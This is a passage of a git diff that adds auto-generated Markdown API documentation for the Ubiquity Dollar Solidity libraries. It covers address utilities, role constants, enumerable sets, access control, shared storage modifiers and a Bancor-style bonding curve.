+Emitted when token is added to a protocol + + +```solidity +event ProtocolTokenAdded(address _token); +``` + +### ProtocolTokenRemoved +Emitted when token is removed from a protocol + + +```solidity +event ProtocolTokenRemoved(address _token); +``` + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/utils/README.md b/packages/contracts/docs/src/src/dollar/interfaces/utils/README.md new file mode 100644 index 000000000..5b28a13c7 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/utils/README.md @@ -0,0 +1,4 @@ + + +# Contents +- [ICollectableDust](ICollectableDust.sol/interface.ICollectableDust.md) diff --git a/packages/contracts/docs/src/src/dollar/libraries/AddressUtils.sol/library.AddressUtils.md b/packages/contracts/docs/src/src/dollar/libraries/AddressUtils.sol/library.AddressUtils.md new file mode 100644 index 000000000..43f50f4e0 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/AddressUtils.sol/library.AddressUtils.md @@ -0,0 +1,214 @@ +# AddressUtils +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/AddressUtils.sol) + +Address utils + +*https://github.com/solidstate-network/solidstate-solidity/blob/master/contracts/utils/AddressUtils.sol* + + +## Functions +### toString + +Converts address to string + + +```solidity +function toString(address account) internal pure returns (string memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`account`|`address`|Address to convert| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`string`|String representation of `account`| + + +### isContract + +Checks whether `account` has code + +*NOTICE: NOT SAFE, can be circumvented in the `constructor()`* + + +```solidity +function isContract(address account) internal view returns (bool); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`account`|`address`|Address to check| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bool`|Whether `account` has code| + + +### sendValue + +Sends ETH to `account` + + +```solidity +function sendValue(address payable account, uint256 amount) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`account`|`address payable`|Address where to send ETH| +|`amount`|`uint256`|Amount of ETH to send| + + +### functionCall + +Calls `target` with `data` + + +```solidity +function functionCall(address target, bytes memory data) internal returns (bytes memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`target`|`address`|Target address| +|`data`|`bytes`|Data to pass| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bytes`|Response bytes| + + +### functionCall + +Calls `target` with `data` + + +```solidity +function functionCall(address target, bytes memory data, string memory error) internal returns (bytes memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`target`|`address`|Target address| +|`data`|`bytes`|Data to pass| +|`error`|`string`|Text error| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bytes`|Response bytes| + + +### functionCallWithValue + +Calls `target` with `data` + + +```solidity +function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`target`|`address`|Target address| +|`data`|`bytes`|Data to pass| +|`value`|`uint256`|Amount of ETH to send| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bytes`|Response bytes| + + +### functionCallWithValue + +Calls `target` with `data` + + +```solidity +function functionCallWithValue(address target, bytes memory data, uint256 value, string memory error) + internal + returns (bytes memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`target`|`address`|Target address| +|`data`|`bytes`|Data to pass| +|`value`|`uint256`|Amount of ETH to send| +|`error`|`string`|Text error| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bytes`|Response bytes| + + +### _functionCallWithValue + +Calls `target` with `data` + + +```solidity +function _functionCallWithValue(address target, bytes memory data, uint256 value, string memory error) + private + returns (bytes memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`target`|`address`|Target address| +|`data`|`bytes`|Data to pass| +|`value`|`uint256`|Amount of ETH to send| +|`error`|`string`|Text error| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bytes`|Response bytes| + + +## Errors +### AddressUtils__InsufficientBalance +Thrown on insufficient balance + + +```solidity +error AddressUtils__InsufficientBalance(); +``` + +### AddressUtils__NotContract +Thrown when target address has no code + + +```solidity +error AddressUtils__NotContract(); +``` + +### AddressUtils__SendValueFailed +Thrown when sending ETH failed + + +```solidity +error AddressUtils__SendValueFailed(); +``` + diff --git a/packages/contracts/docs/src/src/dollar/libraries/Constants.sol/constants.Constants.md b/packages/contracts/docs/src/src/dollar/libraries/Constants.sol/constants.Constants.md new file mode 100644 index 000000000..11ab11368 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/Constants.sol/constants.Constants.md @@ -0,0 +1,187 @@ +# Constants +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/Constants.sol) + +### DEFAULT_ADMIN_ROLE +*Default admin role name* + + +```solidity +bytes32 constant DEFAULT_ADMIN_ROLE = 0x00; +``` + +### GOVERNANCE_TOKEN_MINTER_ROLE +*Role name for Governance tokens minter* + + +```solidity +bytes32 constant GOVERNANCE_TOKEN_MINTER_ROLE = keccak256("GOVERNANCE_TOKEN_MINTER_ROLE"); +``` + +### GOVERNANCE_TOKEN_BURNER_ROLE +*Role name for Governance tokens burner* + + +```solidity +bytes32 constant GOVERNANCE_TOKEN_BURNER_ROLE = keccak256("GOVERNANCE_TOKEN_BURNER_ROLE"); +``` + +### STAKING_SHARE_MINTER_ROLE +*Role name for staking share minter* + + +```solidity +bytes32 constant STAKING_SHARE_MINTER_ROLE = keccak256("STAKING_SHARE_MINTER_ROLE"); +``` + +### STAKING_SHARE_BURNER_ROLE +*Role name for staking share burner* + + +```solidity +bytes32 constant STAKING_SHARE_BURNER_ROLE = keccak256("STAKING_SHARE_BURNER_ROLE"); +``` + +### CREDIT_TOKEN_MINTER_ROLE +*Role name for Credit tokens minter* + + +```solidity +bytes32 constant CREDIT_TOKEN_MINTER_ROLE = keccak256("CREDIT_TOKEN_MINTER_ROLE"); +``` + +### CREDIT_TOKEN_BURNER_ROLE +*Role name for Credit tokens burner* + + +```solidity +bytes32 constant CREDIT_TOKEN_BURNER_ROLE = keccak256("CREDIT_TOKEN_BURNER_ROLE"); +``` + +### DOLLAR_TOKEN_MINTER_ROLE +*Role name for Dollar tokens minter* + + +```solidity +bytes32 constant DOLLAR_TOKEN_MINTER_ROLE = keccak256("DOLLAR_TOKEN_MINTER_ROLE"); +``` + +### DOLLAR_TOKEN_BURNER_ROLE +*Role name for Dollar tokens burner* + + +```solidity +bytes32 constant DOLLAR_TOKEN_BURNER_ROLE = keccak256("DOLLAR_TOKEN_BURNER_ROLE"); +``` + +### CURVE_DOLLAR_MANAGER_ROLE +*Role name for Dollar manager* + + +```solidity +bytes32 constant CURVE_DOLLAR_MANAGER_ROLE = keccak256("CURVE_DOLLAR_MANAGER_ROLE"); +``` + +### PAUSER_ROLE +*Role name for pauser* + + +```solidity +bytes32 constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); +``` + +### CREDIT_NFT_MANAGER_ROLE +*Role name for Credit NFT manager* + + +```solidity +bytes32 constant CREDIT_NFT_MANAGER_ROLE = keccak256("CREDIT_NFT_MANAGER_ROLE"); +``` + +### STAKING_MANAGER_ROLE +*Role name for Staking manager* + + +```solidity +bytes32 constant STAKING_MANAGER_ROLE = keccak256("STAKING_MANAGER_ROLE"); +``` + +### INCENTIVE_MANAGER_ROLE +*Role name for inventive manager* + + +```solidity +bytes32 constant INCENTIVE_MANAGER_ROLE = keccak256("INCENTIVE_MANAGER"); +``` + +### GOVERNANCE_TOKEN_MANAGER_ROLE +*Role name for Governance token manager* + + +```solidity +bytes32 constant GOVERNANCE_TOKEN_MANAGER_ROLE = keccak256("GOVERNANCE_TOKEN_MANAGER_ROLE"); +``` + +### ETH_ADDRESS +*ETH pseudo address used to distinguish ERC20 tokens and ETH in `LibCollectableDust.sendDust()`* + + +```solidity +address constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; +``` + +### ONE +*1 ETH* + + +```solidity +uint256 constant ONE = uint256(1 ether); +``` + +### ACCURACY +*Accuracy used in `LibBondingCurve`* + + +```solidity +uint256 constant ACCURACY = 10e18; +``` + +### MAX_WEIGHT +*Max connector weight used in `LibBondingCurve`* + + +```solidity +uint32 constant MAX_WEIGHT = 1e6; +``` + +### PERMIT_TYPEHASH +*keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");* + + +```solidity +bytes32 constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; +``` + +### _NOT_ENTERED +*Reentrancy constant* + + +```solidity +uint256 constant _NOT_ENTERED = 1; +``` + +### _ENTERED +*Reentrancy constant* + + +```solidity +uint256 constant _ENTERED = 2; +``` + +### UBIQUITY_POOL_PRICE_PRECISION +*Ubiquity pool price precision* + + +```solidity +uint256 constant UBIQUITY_POOL_PRICE_PRECISION = 1e6; +``` + diff --git a/packages/contracts/docs/src/src/dollar/libraries/EnumerableSet.sol/library.EnumerableSet.md b/packages/contracts/docs/src/src/dollar/libraries/EnumerableSet.sol/library.EnumerableSet.md new file mode 100644 index 000000000..c88d47602 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/EnumerableSet.sol/library.EnumerableSet.md @@ -0,0 +1,361 @@ +# EnumerableSet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/fc408f67cf3bb2985f27c3122e2ac2dfaafec2a2/src/dollar/libraries/EnumerableSet.sol) + +Set implementation with enumeration functions + +*Derived from https://github.com/OpenZeppelin/openzeppelin-contracts (MIT license)* + +*https://github.com/solidstate-network/solidstate-solidity/blob/master/contracts/data/EnumerableSet.sol* + + +## Functions +### at + +Returns the value stored at position `index` in the set. O(1). +Note that there are no guarantees on the ordering of values inside the +array, and it may change when more values are added or removed. +Requirements: +- `index` must be strictly less than {length}. + + +```solidity +function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bytes32`|Value of type `bytes32`| + + +### at + +Returns the value stored at position `index` in the set. O(1). +Note that there are no guarantees on the ordering of values inside the +array, and it may change when more values are added or removed. +Requirements: +- `index` must be strictly less than {length}. + + +```solidity +function at(AddressSet storage set, uint256 index) internal view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Value of type `address`| + + +### at + +Returns the value stored at position `index` in the set. O(1). +Note that there are no guarantees on the ordering of values inside the +array, and it may change when more values are added or removed. +Requirements: +- `index` must be strictly less than {length}. + + +```solidity +function at(UintSet storage set, uint256 index) internal view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Value of type `uint256`| + + +### contains + +Returns true if the value of type `bytes32` is in the set. O(1). + + +```solidity +function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool); +``` + +### contains + +Returns true if the value of type `address` is in the set. O(1). + + +```solidity +function contains(AddressSet storage set, address value) internal view returns (bool); +``` + +### contains + +Returns true if the value of type `uint256` is in the set. O(1). + + +```solidity +function contains(UintSet storage set, uint256 value) internal view returns (bool); +``` + +### indexOf + +Returns index of the `value` of type `bytes32` in the `set` + + +```solidity +function indexOf(Bytes32Set storage set, bytes32 value) internal view returns (uint256); +``` + +### indexOf + +Returns index of the `value` of type `address` in the `set` + + +```solidity +function indexOf(AddressSet storage set, address value) internal view returns (uint256); +``` + +### indexOf + +Returns index of the `value` of type `uint256` in the `set` + + +```solidity +function indexOf(UintSet storage set, uint256 value) internal view returns (uint256); +``` + +### length + +Returns the number of values in the set. O(1). + + +```solidity +function length(Bytes32Set storage set) internal view returns (uint256); +``` + +### length + +Returns the number of values in the set. O(1). + + +```solidity +function length(AddressSet storage set) internal view returns (uint256); +``` + +### length + +Returns the number of values in the set. O(1). + + +```solidity +function length(UintSet storage set) internal view returns (uint256); +``` + +### add + +Adds a value of type `bytes32` to a set. O(1). +Returns true if the value was added to the set, that is if it was not +already present. + + +```solidity +function add(Bytes32Set storage set, bytes32 value) internal returns (bool); +``` + +### add + +Adds a value of type `address` to a set. O(1). +Returns true if the value was added to the set, that is if it was not +already present. + + +```solidity +function add(AddressSet storage set, address value) internal returns (bool); +``` + +### add + +Adds a value of type `uint256` to a set. O(1). +Returns true if the value was added to the set, that is if it was not +already present. + + +```solidity +function add(UintSet storage set, uint256 value) internal returns (bool); +``` + +### remove + +Removes a value of type `bytes32` from a set. O(1). +Returns true if the value was removed from the set, that is if it was +present. + + +```solidity +function remove(Bytes32Set storage set, bytes32 value) internal returns (bool); +``` + +### remove + +Removes a value of type `address` from a set. O(1). +Returns true if the value was removed from the set, that is if it was +present. + + +```solidity +function remove(AddressSet storage set, address value) internal returns (bool); +``` + +### remove + +Removes a value of type `uint256` from a set. O(1). +Returns true if the value was removed from the set, that is if it was +present. + + +```solidity +function remove(UintSet storage set, uint256 value) internal returns (bool); +``` + +### toArray + +Returns set values as an array of type `bytes32[]` + + +```solidity +function toArray(Bytes32Set storage set) internal view returns (bytes32[] memory); +``` + +### toArray + +Returns set values as an array of type `address[]` + + +```solidity +function toArray(AddressSet storage set) internal view returns (address[] memory); +``` + +### toArray + +Returns set values as an array of type `uint256[]` + + +```solidity +function toArray(UintSet storage set) internal view returns (uint256[] memory); +``` + +### _at + +Returns the value stored at position `index` in the set. O(1). +Note that there are no guarantees on the ordering of values inside the +array, and it may change when more values are added or removed. +Requirements: +- `index` must be strictly less than {length}. + + +```solidity +function _at(Set storage set, uint256 index) private view returns (bytes32); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bytes32`|Value of type `bytes32`| + + +### _contains + +Returns true if the value of type `bytes32` is in the set. O(1). + + +```solidity +function _contains(Set storage set, bytes32 value) private view returns (bool); +``` + +### _indexOf + +Returns index of the `value` of type `bytes32` in the `set` + + +```solidity +function _indexOf(Set storage set, bytes32 value) private view returns (uint256); +``` + +### _length + +Returns the number of values in the set. O(1). + + +```solidity +function _length(Set storage set) private view returns (uint256); +``` + +### _add + +Adds a value of type `bytes32` to a set. O(1). +Returns true if the value was added to the set, that is if it was not +already present. + + +```solidity +function _add(Set storage set, bytes32 value) private returns (bool ret); +``` + +### _remove + +Removes a value of type `bytes32` from a set. O(1). +Returns true if the value was removed from the set, that is if it was +present. + + +```solidity +function _remove(Set storage set, bytes32 value) private returns (bool ret); +``` + +## Errors +### EnumerableSet__IndexOutOfBounds +Thrown when index does not exist + + +```solidity +error EnumerableSet__IndexOutOfBounds(); +``` + +## Structs +### Set +Set struct + + +```solidity +struct Set { + bytes32[] _values; + mapping(bytes32 => uint256) _indexes; +} +``` + +### Bytes32Set +Bytes32Set + + +```solidity +struct Bytes32Set { + Set _inner; +} +``` + +### AddressSet +AddressSet + + +```solidity +struct AddressSet { + Set _inner; +} +``` + +### UintSet +UintSet + + +```solidity +struct UintSet { + Set _inner; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibAccessControl.sol/library.LibAccessControl.md b/packages/contracts/docs/src/src/dollar/libraries/LibAccessControl.sol/library.LibAccessControl.md new file mode 100644 index 000000000..03278173d --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibAccessControl.sol/library.LibAccessControl.md @@ -0,0 +1,275 @@ +# LibAccessControl +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibAccessControl.sol) + +Access control library + + +## State Variables +### ACCESS_CONTROL_STORAGE_SLOT +Storage slot used to store data for this library + + +```solidity +bytes32 constant ACCESS_CONTROL_STORAGE_SLOT = + bytes32(uint256(keccak256("ubiquity.contracts.access.control.storage")) - 1) & ~bytes32(uint256(0xff)); +``` + + +## Functions +### accessControlStorage + +Returns struct used as a storage for this library + + +```solidity +function accessControlStorage() internal pure returns (Layout storage l); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`l`|`Layout`|Struct used as a storage| + + +### onlyRole + +Checks that a method can only be called by the provided role + + +```solidity +modifier onlyRole(bytes32 role); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role name| + + +### paused + +Returns true if the contract is paused and false otherwise + + +```solidity +function paused() internal view returns (bool); +``` + +### hasRole + +Checks whether role is assigned to account + + +```solidity +function hasRole(bytes32 role, address account) internal view returns (bool); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to check| +|`account`|`address`|Address to check| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bool`|Whether role is assigned to account| + + +### checkRole + +Reverts if sender does not have a given role + + +```solidity +function checkRole(bytes32 role) internal view; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to query| + + +### checkRole + +Reverts if given account does not have a given role + + +```solidity +function checkRole(bytes32 role, address account) internal view; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to query| +|`account`|`address`|Address to query| + + +### getRoleAdmin + +Returns admin role for a given role + + +```solidity +function getRoleAdmin(bytes32 role) internal view returns (bytes32); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to query| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bytes32`|Admin role for a provided role| + + +### setRoleAdmin + +Sets a new admin role for a provided role + + +```solidity +function setRoleAdmin(bytes32 role, bytes32 adminRole) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role for which admin role should be set| +|`adminRole`|`bytes32`|Admin role to set| + + +### grantRole + +Assigns role to a given account + + +```solidity +function grantRole(bytes32 role, address account) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to assign| +|`account`|`address`|Recipient of role assignment| + + +### revokeRole + +Unassign role from a given account + + +```solidity +function revokeRole(bytes32 role, address account) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to unassign| +|`account`|`address`|Address from which the provided role should be unassigned| + + +### renounceRole + +Renounces role + + +```solidity +function renounceRole(bytes32 role) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to renounce| + + +### pause + +Pauses the contract + + +```solidity +function pause() internal; +``` + +### unpause + +Unpauses the contract + + +```solidity +function unpause() internal; +``` + +## Events +### RoleAdminChanged +Emitted when admin role of a role is updated + + +```solidity +event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); +``` + +### RoleGranted +Emitted when role is granted to account + + +```solidity +event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); +``` + +### RoleRevoked +Emitted when role is revoked from account + + +```solidity +event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); +``` + +### Paused +Emitted when the pause is triggered by `account` + + +```solidity +event Paused(address account); +``` + +### Unpaused +Emitted when the pause is lifted by `account` + + +```solidity +event Unpaused(address account); +``` + +## Structs +### RoleData +Structure to keep all role members with their admin role + + +```solidity +struct RoleData { + EnumerableSet.AddressSet members; + bytes32 adminRole; +} +``` + +### Layout +Structure to keep all protocol roles + + +```solidity +struct Layout { + mapping(bytes32 => RoleData) roles; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibAppStorage.sol/contract.Modifiers.md b/packages/contracts/docs/src/src/dollar/libraries/LibAppStorage.sol/contract.Modifiers.md new file mode 100644 index 000000000..74cdcf091 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibAppStorage.sol/contract.Modifiers.md @@ -0,0 +1,151 @@ +# Modifiers +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibAppStorage.sol) + +Contract includes modifiers shared across all protocol's contracts + + +## State Variables +### store +Shared struct used as a storage across all protocol's contracts + + +```solidity +AppStorage internal store; +``` + + +## Functions +### nonReentrant + +Prevents a contract from calling itself, directly or indirectly. +Calling a `nonReentrant` function from another `nonReentrant` +function is not supported. It is possible to prevent this from happening +by making the `nonReentrant` function external, and making it call a +`private` function that does the actual work. + +*Works identically to OZ's nonReentrant.* + +*Used to avoid state storage collision within diamond.* + + +```solidity +modifier nonReentrant(); +``` + +### onlyOwner + +Checks that method is called by a contract owner + + +```solidity +modifier onlyOwner(); +``` + +### onlyCreditNftManager + +Checks that method is called by address with the `CREDIT_NFT_MANAGER_ROLE` role + + +```solidity +modifier onlyCreditNftManager(); +``` + +### onlyAdmin + +Checks that method is called by address with the `DEFAULT_ADMIN_ROLE` role + + +```solidity +modifier onlyAdmin(); +``` + +### onlyMinter + +Checks that method is called by address with the `GOVERNANCE_TOKEN_MINTER_ROLE` role + + +```solidity +modifier onlyMinter(); +``` + +### onlyBurner + +Checks that method is called by address with the `GOVERNANCE_TOKEN_BURNER_ROLE` role + + +```solidity +modifier onlyBurner(); +``` + +### whenNotPaused + +Modifier to make a function callable only when the contract is not paused + + +```solidity +modifier whenNotPaused(); +``` + +### whenPaused + +Modifier to make a function callable only when the contract is paused + + +```solidity +modifier whenPaused(); +``` + +### onlyStakingManager + +Checks that method is called by address with the `STAKING_MANAGER_ROLE` role + + +```solidity +modifier onlyStakingManager(); +``` + +### onlyPauser + +Checks that method is called by address with the `PAUSER_ROLE` role + + +```solidity +modifier onlyPauser(); +``` + +### onlyTokenManager + +Checks that method is called by address with the `GOVERNANCE_TOKEN_MANAGER_ROLE` role + + +```solidity +modifier onlyTokenManager(); +``` + +### onlyIncentiveAdmin + +Checks that method is called by address with the `INCENTIVE_MANAGER_ROLE` role + + +```solidity +modifier onlyIncentiveAdmin(); +``` + +### onlyDollarManager + +Checks that method is called by address with the `CURVE_DOLLAR_MANAGER_ROLE` role + + +```solidity +modifier onlyDollarManager(); +``` + +### _initReentrancyGuard + +Initializes reentrancy guard on contract deployment + + +```solidity +function _initReentrancyGuard() internal; +``` + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibAppStorage.sol/library.LibAppStorage.md b/packages/contracts/docs/src/src/dollar/libraries/LibAppStorage.sol/library.LibAppStorage.md new file mode 100644 index 000000000..7421abd3b --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibAppStorage.sol/library.LibAppStorage.md @@ -0,0 +1,22 @@ +# LibAppStorage +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibAppStorage.sol) + +Library used as a shared storage among all protocol libraries + + +## Functions +### appStorage + +Returns `AppStorage` struct used as a shared storage among all libraries + + +```solidity +function appStorage() internal pure returns (AppStorage storage ds); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`ds`|`AppStorage`|`AppStorage` struct used as a shared storage| + + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibAppStorage.sol/struct.AppStorage.md b/packages/contracts/docs/src/src/dollar/libraries/LibAppStorage.sol/struct.AppStorage.md new file mode 100644 index 000000000..49efd9515 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibAppStorage.sol/struct.AppStorage.md @@ -0,0 +1,34 @@ +# AppStorage +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibAppStorage.sol) + +Shared struct used as a storage in the `LibAppStorage` library + + +```solidity +struct AppStorage { + uint256 reentrancyStatus; + address dollarTokenAddress; + address creditNftAddress; + address creditNftCalculatorAddress; + address dollarMintCalculatorAddress; + address stakingShareAddress; + address stakingContractAddress; + address stableSwapMetaPoolAddress; + address stableSwapPlainPoolAddress; + address curve3PoolTokenAddress; + address treasuryAddress; + address governanceTokenAddress; + address sushiSwapPoolAddress; + address masterChefAddress; + address formulasAddress; + address creditTokenAddress; + address creditCalculatorAddress; + address ubiquiStickAddress; + address bondingCurveAddress; + address bancorFormulaAddress; + address curveDollarIncentiveAddress; + mapping(address => address) _excessDollarDistributors; + bool paused; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/libraries/LibBondingCurve.sol/library.LibBondingCurve.md b/packages/contracts/docs/src/src/dollar/libraries/LibBondingCurve.sol/library.LibBondingCurve.md new file mode 100644 index 000000000..761e61fcb --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/libraries/LibBondingCurve.sol/library.LibBondingCurve.md @@ -0,0 +1,296 @@ +# LibBondingCurve +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/libraries/LibBondingCurve.sol) + +Bonding curve library based on Bancor formula + +Inspired from Bancor protocol https://github.com/bancorprotocol/contracts + +Used on UbiquiStick NFT minting + + +## State Variables +### BONDING_CONTROL_STORAGE_SLOT +Storage slot used to store data for this library + + +```solidity +bytes32 constant BONDING_CONTROL_STORAGE_SLOT = + bytes32(uint256(keccak256("ubiquity.contracts.bonding.storage")) - 1) & ~bytes32(uint256(0xff)); +``` + + +## Functions +### bondingCurveStorage + +Returns struct used as a storage for this library + + +```solidity +function bondingCurveStorage() internal pure returns (BondingCurveData storage l); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`l`|`BondingCurveData`|Struct used as a storage| + + +### setParams + +Sets bonding curve params + + +```solidity +function setParams(uint32 _connectorWeight, uint256 _baseY) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_connectorWeight`|`uint32`|Connector weight| +|`_baseY`|`uint256`|Base Y| + + +### connectorWeight + +Returns `connectorWeight` value + + +```solidity +function connectorWeight() internal view returns (uint32); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint32`|Connector weight value| + + +### baseY + +Returns `baseY` value + + +```solidity +function baseY() internal view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Base Y value| + + +### poolBalance + +Returns total balance of deposited collateral + + +```solidity +function poolBalance() internal view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of deposited collateral| + + +### deposit + +Deposits collateral tokens in exchange for UbiquiStick NFT + + +```solidity +function deposit(uint256 _collateralDeposited, address _recipient) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_collateralDeposited`|`uint256`|Amount of collateral| +|`_recipient`|`address`|Address to receive the NFT| + + +### getShare + +Returns number of NFTs a `_recipient` holds + + +```solidity +function getShare(address _recipient) internal view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_recipient`|`address`|User address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of NFTs for `_recipient`| + + +### toBytes + +Converts `x` to `bytes` + + +```solidity +function toBytes(uint256 x) internal pure returns (bytes memory b); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`x`|`uint256`|Value to convert to `bytes`| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`b`|`bytes`|`x` value converted to `bytes`| + + +### withdraw + +Withdraws collateral tokens to treasury + + +```solidity +function withdraw(uint256 _amount) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_amount`|`uint256`|Amount of collateral tokens to withdraw| + + +### purchaseTargetAmount + +Given a token supply, reserve balance, weight and a deposit amount (in the reserve token), +calculates the target amount for a given conversion (in the main token) + +`_supply * ((1 + _tokensDeposited / _connectorBalance) ^ (_connectorWeight / 1000000) - 1)` + + +```solidity +function purchaseTargetAmount( + uint256 _tokensDeposited, + uint32 _connectorWeight, + uint256 _supply, + uint256 _connectorBalance +) internal pure returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_tokensDeposited`|`uint256`|Amount of collateral tokens to deposit| +|`_connectorWeight`|`uint32`|Connector weight, represented in ppm, 1 - 1,000,000| +|`_supply`|`uint256`|Current token supply| +|`_connectorBalance`|`uint256`|Total connector balance| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of tokens minted| + + +### purchaseTargetAmountFromZero + +Given a deposit (in the collateral token) token supply of 0, calculates the return +for a given conversion (in the token) + +`_supply * ((1 + _tokensDeposited / _connectorBalance) ^ (_connectorWeight / 1000000) - 1)` + + +```solidity +function purchaseTargetAmountFromZero( + uint256 _tokensDeposited, + uint256 _connectorWeight, + uint256 _baseX, + uint256 _baseY +) internal pure returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_tokensDeposited`|`uint256`|Amount of collateral tokens to deposit| +|`_connectorWeight`|`uint256`|Connector weight, represented in ppm, 1 - 1,000,000| +|`_baseX`|`uint256`|Constant x| +|`_baseY`|`uint256`|Expected price| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of tokens minted| + + +### uintToBytes16 + +Converts `x` to `bytes16` + + +```solidity +function uintToBytes16(uint256 x) internal pure returns (bytes16 b); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`x`|`uint256`|Value to convert to `bytes16`| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`b`|`bytes16`|`x` value converted to `bytes16`| + + +## Events +### Deposit +Emitted when collateral is deposited + + +```solidity +event Deposit(address indexed user, uint256 amount); +``` + +### Withdraw +Emitted when collateral is 